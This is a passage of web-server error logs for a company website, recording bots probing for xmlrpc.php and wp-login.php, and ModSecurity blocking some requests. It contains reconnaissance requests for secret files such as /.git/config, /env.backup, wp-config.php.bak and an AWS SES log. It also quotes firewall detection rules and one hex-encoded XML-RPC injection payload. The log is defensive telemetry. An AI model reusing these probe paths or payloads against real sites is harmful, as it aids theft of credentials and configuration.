22 13:13:05.992821 2025] [:error] [pid 23317:tid 23337] [client 178.128.90.37:54448] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 13:50:21.796775 2025] [:error] [pid 23317:tid 23338] [client 152.42.184.245:56368] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 14:49:58.655580 2025] [:error] [pid 23205:tid 23250] [client 178.128.90.37:60462] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 14:57:51.046280 2025] [:error] [pid 23317:tid 23337] [client 152.42.184.245:32962] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 15:17:04.174195 2025] [:error] [pid 23206:tid 23261] [client 152.42.184.245:34842] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 15:34:47.114876 2025] [:error] [pid 23317:tid 23321] [client 178.128.90.37:36568] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 15:44:39.342735 2025] [:error] [pid 23317:tid 23319] [client 178.128.90.37:37230] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 16:05:28.152990 2025] [:error] [pid 23317:tid 23325] [client 35.185.240.26:38808] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 16:20:52.247015 2025] [:error] [pid 23317:tid 23334] [client 142.93.162.10:39984] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 16:24:24.816119 2025] [:error] [pid 23317:tid 23328] [client 132.226.146.177:40466] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 16:55:34.837758 2025] [:error] [pid 23204:tid 23229] [client 178.128.90.37:43020] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 17:25:57.539992 2025] [:error] [pid 23205:tid 23244] [client 113.31.186.146:44778] File does not exist: /home/coldtecp/public_html/index.php [Tue Jul 22 18:02:49.423835 2025] [:error] [pid 23205:tid 23245] [client 132.226.146.177:46896] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 03:35:18.593486 2025] [:error] [pid 23205:tid 23246] [client 64.225.29.242:53326] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 04:55:26.806777 2025] [:error] [pid 1167:tid 1180] [client 128.199.159.129:59068] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 04:58:03.275326 2025] [:error] [pid 1167:tid 1169] [client 183.134.59.131:59228] File does not exist: /home/coldtecp/public_html/index.php [Wed Jul 23 05:40:39.310813 2025] [:error] [pid 1167:tid 1184] [client 128.199.159.129:33658] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 06:00:34.565946 2025] [:error] [pid 1167:tid 1182] [client 68.183.184.14:34244] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 06:03:50.461689 2025] [:error] [pid 1167:tid 1177] [client 152.42.174.149:34364] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 06:06:15.346269 2025] [:error] [pid 1167:tid 1173] [client 152.42.174.149:34462] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 06:42:57.023361 2025] [:error] [pid 832:tid 874] [client 128.199.159.129:36318] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 08:16:54.479721 2025] [:error] [pid 1167:tid 1174] [client 128.199.159.129:40294] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 08:38:16.425361 2025] [:error] [pid 1167:tid 1183] [client 152.42.174.149:43720] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 08:45:11.077316 2025] [:error] [pid 831:tid 859] [client 152.42.174.149:44744] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 09:03:09.636861 2025] [:error] [pid 1167:tid 1180] [client 132.226.146.177:52920] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 09:51:30.750018 2025] [:error] [pid 833:tid 916] [client 45.76.202.7:58540] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Jul 23 10:30:01.847148 2025] [:error] [pid 1167:tid 1183] [client 152.42.174.149:33966] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 10:33:00.939218 2025] [:error] [pid 833:tid 905] [client 128.199.159.129:34216] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 12:25:41.324653 2025] [:error] [pid 1167:tid 1173] [client 152.42.174.149:41512] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 12:46:13.861380 2025] [:error] [pid 1167:tid 1190] [client 128.199.159.129:42660] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 14:29:15.263207 2025] [:error] [pid 832:tid 891] [client 152.42.195.251:49740] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 15:09:25.189020 2025] [:error] [pid 833:tid 905] [client 35.189.246.159:51400] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 15:30:45.780649 2025] [:error] [pid 833:tid 915] [client 178.128.90.37:52508] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 15:41:11.783502 2025] [:error] [pid 831:tid 845] [client 34.220.87.162:53250] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Jul 23 15:47:32.738725 2025] [:error] [pid 1167:tid 1182] [client 178.128.90.37:53574] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 15:56:52.124494 2025] [:error] [pid 831:tid 852] [client 178.128.90.37:54252] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Jul 23 16:14:05.775797 2025] [:error] [pid 833:tid 909] [client 3.27.5.193:55502] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Jul 23 18:51:01.369565 2025] [:error] [pid 833:tid 907] [client 34.220.87.162:35386] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 01:32:41.668109 2025] [:error] [pid 832:tid 868] [client 132.226.146.177:58656] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 02:41:22.125147 2025] [:error] [pid 1167:tid 1173] [client 167.71.215.225:34756] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 03:02:41.751741 2025] [:error] [pid 1167:tid 1185] [client 139.59.96.66:36310] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 03:35:08.180176 2025] [:error] [pid 26451:tid 26490] [client 167.71.215.225:38840] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 08:23:10.334176 2025] [:error] [pid 26450:tid 26511] [client 132.226.146.177:34654] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 08:58:48.299564 2025] [:error] [pid 26584:tid 26589] [client 167.71.215.225:38124] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 09:50:03.022796 2025] [:error] [pid 26449:tid 26459] [client 167.71.215.225:41988] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 10:58:43.406824 2025] [:error] [pid 26451:tid 26484] [client 167.71.215.225:46784] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 12:14:40.974997 2025] [:error] [pid 26584:tid 26607] [client 167.71.215.225:52742] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 12:44:44.137878 2025] [:error] [pid 28433:tid 28469] [client 167.71.215.225:55540] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 15:10:36.796451 2025] [:error] [pid 28348:tid 28421] [client 128.199.156.176:38626] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 15:10:58.334428 2025] [:error] [pid 26450:tid 26519] [client 167.71.215.225:38690] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 15:37:46.378914 2025] [:error] [pid 26450:tid 26517] [client 132.226.146.177:40994] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 16:01:29.244912 2025] [:error] [pid 26451:tid 26491] [client 139.59.96.66:42016] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 16:01:44.445943 2025] [:error] [pid 26450:tid 26507] [client 139.59.96.66:42062] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 16:02:56.670219 2025] [:error] [pid 26449:tid 26468] [client 139.59.96.66:42138] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 16:18:48.321944 2025] [:error] [pid 27806:tid 27867] [client 128.199.156.176:42612] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 16:48:14.080998 2025] [:error] [pid 27806:tid 27819] [client 128.199.156.176:45256] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 17:26:33.720013 2025] [:error] [pid 28348:tid 28419] [client 128.199.156.176:46396] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 18:00:52.358062 2025] [:error] [pid 27844:tid 27875] [client 139.59.96.66:47802] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 18:40:48.531597 2025] [:error] [pid 27910:tid 27965] [client 139.59.96.66:49078] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 18:41:52.730156 2025] [:error] [pid 27910:tid 27970] [client 139.59.96.66:49138] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 19:08:13.137015 2025] [:error] [pid 28433:tid 28483] [client 128.199.156.176:49976] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 19:16:51.039416 2025] [:error] [pid 28433:tid 28463] [client 128.199.156.176:50224] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Jul 24 23:36:29.309952 2025] [:error] [pid 26449:tid 26469] [client 132.226.146.177:59060] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/07/25 02:04:05 [error] 26413#26413: *717745 access forbidden by rule, client: 101.99.88.163, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Jul 25 05:10:50.555628 2025] [:error] [pid 658:tid 671] [client 167.71.215.225:43304] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 06:06:44.104142 2025] [:error] [pid 658:tid 669] [client 35.192.86.105:45040] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 06:44:24.239184 2025] [:error] [pid 32595:tid 32625] [client 167.71.215.225:46060] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/07/25 07:06:49 [error] 32570#32570: *725939 access forbidden by rule, client: 101.99.88.163, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Jul 25 07:09:43.385343 2025] [:error] [pid 32596:tid 32660] [client 167.71.215.225:46940] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 09:13:11.843283 2025] [:error] [pid 658:tid 666] [client 167.71.215.225:50456] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 14:27:53.419407 2025] [:error] [pid 658:tid 671] [client 93.152.220.163:38808] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 15:47:11.019075 2025] [:error] [pid 32596:tid 32655] [client 68.183.184.14:42282] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 16:01:49.914033 2025] [:error] [pid 32595:tid 32636] [client 34.82.129.158:42838] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 16:17:48.845740 2025] [:error] [pid 23752:tid 23757] [client 103.198.133.169:43326] File does not exist: /home/coldtecp/public_html/wp-login.php [Fri Jul 25 16:48:08.035881 2025] [:error] [pid 32596:tid 32657] [client 167.71.215.225:44332] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 17:45:01.426412 2025] [:error] [pid 23752:tid 23757] [client 156.248.54.224:45990] File does not exist: /home/coldtecp/public_html/3ds.php [Fri Jul 25 17:45:03.023159 2025] [:error] [pid 658:tid 668] [client 176.53.217.94:45994] File does not exist: /home/coldtecp/public_html/3ds.php [Fri Jul 25 18:00:11.909968 2025] [:error] [pid 32595:tid 32632] [client 128.199.156.176:46428] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 18:04:24.032311 2025] [:error] [pid 658:tid 682] [client 128.199.156.176:46548] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 18:10:26.800372 2025] [:error] [pid 23752:tid 23768] [client 128.199.156.176:46772] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 18:34:01.694130 2025] [:error] [pid 658:tid 684] [client 128.199.88.194:47382] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:21:30.570759 2025] [:error] [pid 32595:tid 32646] [client 139.59.96.66:49500] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:35:04.481454 2025] [:error] [pid 32595:tid 32630] [client 139.59.96.66:50012] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:39:52.495157 2025] [:error] [pid 32594:tid 32603] [client 167.71.215.225:50242] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:42:02.218913 2025] [:error] [pid 32594:tid 32612] [client 128.199.88.194:50358] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:49:40.545098 2025] [:error] [pid 32594:tid 32603] [client 139.59.96.66:51190] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:54:26.647100 2025] [:error] [pid 23752:tid 23775] [client 93.152.220.163:51372] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 19:57:18.179765 2025] [:error] [pid 658:tid 679] [client 128.199.156.176:51524] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 20:06:56.122516 2025] [:error] [pid 32596:tid 32666] [client 128.199.88.194:52194] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 20:30:51.345859 2025] [:error] [pid 32594:tid 32618] [client 128.199.156.176:52882] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 20:38:27.207830 2025] [:error] [pid 23752:tid 23772] [client 128.199.88.194:53194] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 20:48:08.978310 2025] [:error] [pid 32596:tid 32652] [client 128.199.156.176:53536] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 21:19:04.856822 2025] [:error] [pid 658:tid 671] [client 139.59.96.66:56822] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 22:14:47.809221 2025] [:error] [pid 23752:tid 23764] [client 128.199.88.194:59384] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 22:15:54.771755 2025] [:error] [pid 23752:tid 23759] [client 139.59.96.66:59454] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 22:48:26.233969 2025] [:error] [pid 32594:tid 32607] [client 139.59.96.66:60302] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Jul 25 23:26:04.409568 2025] [:error] [pid 23752:tid 23766] [client 173.252.107.1:33848] [client 173.252.107.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aIRY3ImxWVBEMDu6tQesmwAAAQs"] [Fri Jul 25 23:36:12.655082 2025] [:error] [pid 23752:tid 23773] [client 128.199.88.194:35320] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 03:04:29.109808 2025] [:error] [pid 32596:tid 32671] [client 68.183.184.193:44156] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 03:29:11.537310 2025] [:error] [pid 32595:tid 32629] [client 40.113.20.32:44918] File does not exist: /home/coldtecp/public_html/wp-login.php [Sat Jul 26 06:00:43.724607 2025] [:error] [pid 9243:tid 9263] [client 93.152.220.163:49096] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 09:42:02.909310 2025] [:error] [pid 8935:tid 9009] [client 167.71.215.225:56426] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 11:51:40.382273 2025] [:error] [pid 9243:tid 9249] [client 167.71.215.225:35572] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 11:57:02.617731 2025] [:error] [pid 9243:tid 9266] [client 134.255.218.97:35692] File does not exist: /home/coldtecp/public_html/wp-login.php [Sat Jul 26 12:35:04.464759 2025] [:error] [pid 8934:tid 8987] [client 167.71.215.225:36624] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 12:47:50.640132 2025] [:error] [pid 8934:tid 8982] [client 93.152.220.163:36924] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 13:04:24.516670 2025] [:error] [pid 9243:tid 9257] [client 128.199.156.176:37290] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 13:37:14.483706 2025] [:error] [pid 9243:tid 9258] [client 128.199.156.176:38186] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 15:22:57.275260 2025] [:error] [pid 9243:tid 9245] [client 167.71.215.225:41128] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 15:37:33.536731 2025] [:error] [pid 9243:tid 9268] [client 128.199.156.176:41446] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 16:24:28.976152 2025] [:error] [pid 9243:tid 9263] [client 128.199.156.176:42588] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 17:43:52.190583 2025] [:error] [pid 8934:tid 8965] [client 183.134.59.131:44032] File does not exist: /home/coldtecp/public_html/index.php [Sat Jul 26 18:00:15.512462 2025] [:error] [pid 8935:tid 9010] [client 183.134.59.131:44278] File does not exist: /home/coldtecp/public_html/index.php [Sat Jul 26 19:18:50.749195 2025] [:error] [pid 9243:tid 9260] [client 128.199.156.176:46246] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 19:48:57.965346 2025] [:error] [pid 8934:tid 8988] [client 167.71.215.225:47054] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 20:32:24.464523 2025] [:error] [pid 8935:tid 9007] [client 163.172.187.89:48022] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: http://coldtecperu.com [Sat Jul 26 21:17:49.751442 2025] [:error] [pid 8935:tid 9003] [client 128.199.181.143:49004] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 21:26:45.236756 2025] [:error] [pid 8933:tid 8956] [client 89.42.218.72:49230] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: http://coldtecperu.com [Sat Jul 26 21:29:06.945463 2025] [:error] [pid 8934:tid 8967] [client 128.199.156.176:49272] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 22:08:36.866590 2025] [:error] [pid 8935:tid 8999] [client 139.59.96.66:49998] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 22:21:47.739068 2025] [:error] [pid 9243:tid 9249] [client 193.3.231.146:50428] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: http://coldtecperu.com [Sat Jul 26 22:38:41.401718 2025] [:error] [pid 9243:tid 9253] [client 167.71.215.225:50756] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 23:03:56.699354 2025] [:error] [pid 8935:tid 9006] [client 93.152.220.166:51248] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 26 23:15:46.655342 2025] [:error] [pid 8935:tid 9005] [client 89.42.218.100:51468] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: http://coldtecperu.com [Sun Jul 27 00:07:59.623672 2025] [:error] [pid 9243:tid 9264] [client 139.59.96.66:53120] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 00:15:53.846789 2025] [:error] [pid 9243:tid 9253] [client 128.199.181.143:53452] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 00:26:41.009544 2025] [:error] [pid 8934:tid 8985] [client 185.205.184.189:53712] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 00:52:04.011966 2025] [:error] [pid 9243:tid 9247] [client 128.199.181.143:55416] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 00:53:45.956398 2025] [:error] [pid 8933:tid 8940] [client 139.59.96.66:55480] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 01:04:34.996385 2025] [:error] [pid 8933:tid 8946] [client 139.59.96.66:55714] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 02:19:04.312967 2025] [:error] [pid 8933:tid 8948] [client 128.199.181.143:57768] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 03:38:45.413572 2025] [:error] [pid 6578:tid 6591] [client 139.59.96.66:60008] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 04:01:44.364433 2025] [:error] [pid 6578:tid 6585] [client 93.152.220.166:60512] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 04:09:51.347552 2025] [:error] [pid 5980:tid 6027] [client 212.15.86.146:60684] [client 212.15.86.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aIXs374ofFMc09-RNmwOFgAAAJE"] [Sun Jul 27 04:28:12.343352 2025] [:error] [pid 6578:tid 6602] [client 128.199.181.143:32856] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 04:40:49.687941 2025] [:error] [pid 5980:tid 6033] [client 68.183.184.14:33108] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 04:58:40.683939 2025] [:error] [pid 6578:tid 6594] [client 139.59.96.66:34000] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 06:51:33.166244 2025] [:error] [pid 5979:tid 6045] [client 128.199.181.143:41522] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 10:09:25.799137 2025] [:error] [pid 5980:tid 6020] [client 34.63.151.215:49222] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 11:19:33.375900 2025] [:error] [pid 6578:tid 6600] [client 93.152.220.166:51614] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 16:17:34.837554 2025] [:error] [pid 5980:tid 6035] [client 35.204.78.38:58960] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 17:18:11.321016 2025] [:error] [pid 5979:tid 6054] [client 183.134.59.131:60188] File does not exist: /home/coldtecp/public_html/index.php [Sun Jul 27 18:45:14.406729 2025] [:error] [pid 5979:tid 6046] [client 93.152.220.166:34106] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 19:30:05.540460 2025] [:error] [pid 5978:tid 5997] [client 167.71.215.225:37288] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 21:07:27.563872 2025] [:error] [pid 5978:tid 6000] [client 167.71.215.225:41902] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 21:24:30.529860 2025] [:error] [pid 6578:tid 6585] [client 167.71.215.225:42910] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 21:27:58.318827 2025] [:error] [pid 5980:tid 6024] [client 128.199.156.176:43096] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 21:50:59.612040 2025] [:error] [pid 6578:tid 6598] [client 128.199.156.176:43456] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 27 22:14:25.154166 2025] [:error] [pid 6578:tid 6583] [client 128.199.156.176:44060] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 00:17:19.995061 2025] [:error] [pid 5979:tid 6053] [client 167.71.215.225:50874] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 00:27:10.545873 2025] [:error] [pid 6578:tid 6582] [client 167.71.215.225:51064] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 00:34:13.290359 2025] [:error] [pid 5978:tid 5999] [client 128.199.156.176:51270] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 00:45:28.176144 2025] [:error] [pid 5979:tid 6042] [client 128.199.156.176:51932] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 01:18:25.707437 2025] [:error] [pid 6578:tid 6593] [client 128.199.156.176:53240] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 05:11:18.377026 2025] [:error] [pid 6392:tid 6471] [client 93.152.220.166:33422] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 28 07:22:51.947525 2025] [:error] [pid 6392:tid 6457] [client 103.198.133.169:39434] File does not exist: /home/coldtecp/public_html/wp-login.php 2025/07/28 10:40:50 [error] 6353#6353: *846844 access forbidden by rule, client: 185.177.72.115, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "www.coldtecperu.com" [Mon Jul 28 10:40:51.516115 2025] [:error] [pid 6752:tid 6767] [client 185.177.72.115:49036] File does not exist: /home/coldtecp/public_html/info.php [Mon Jul 28 10:41:02.100029 2025] [:error] [pid 6752:tid 6765] [client 185.177.72.115:49044] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/env.backup"] [unique_id "aIeaDhj9pDwIRPtmBySxKAAAAMU"] [Mon Jul 28 10:41:02.179105 2025] [:error] [pid 6752:tid 6775] [client 185.177.72.115:49046] File does not exist: /home/coldtecp/public_html/phpinfo.php [Mon Jul 28 10:41:03.536162 2025] [:error] [pid 6752:tid 6769] [client 185.177.72.115:49070] File does not exist: /home/coldtecp/public_html/server-info.php [Mon Jul 28 10:41:04.148676 2025] [:error] [pid 6392:tid 6468] [client 185.177.72.115:49086] File does not exist: /home/coldtecp/public_html/wp-config.php.bak [Mon Jul 28 10:41:04.630846 2025] [:error] [pid 6392:tid 6456] [client 185.177.72.115:49098] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/logs/aws/ses.log"] [unique_id "aIeaEH7ASrgwc6S9UKS_VgAAAIU"] [Mon Jul 28 10:41:05.830572 2025] [:error] [pid 6392:tid 6451] [client 185.177.72.115:49120] File does not exist: 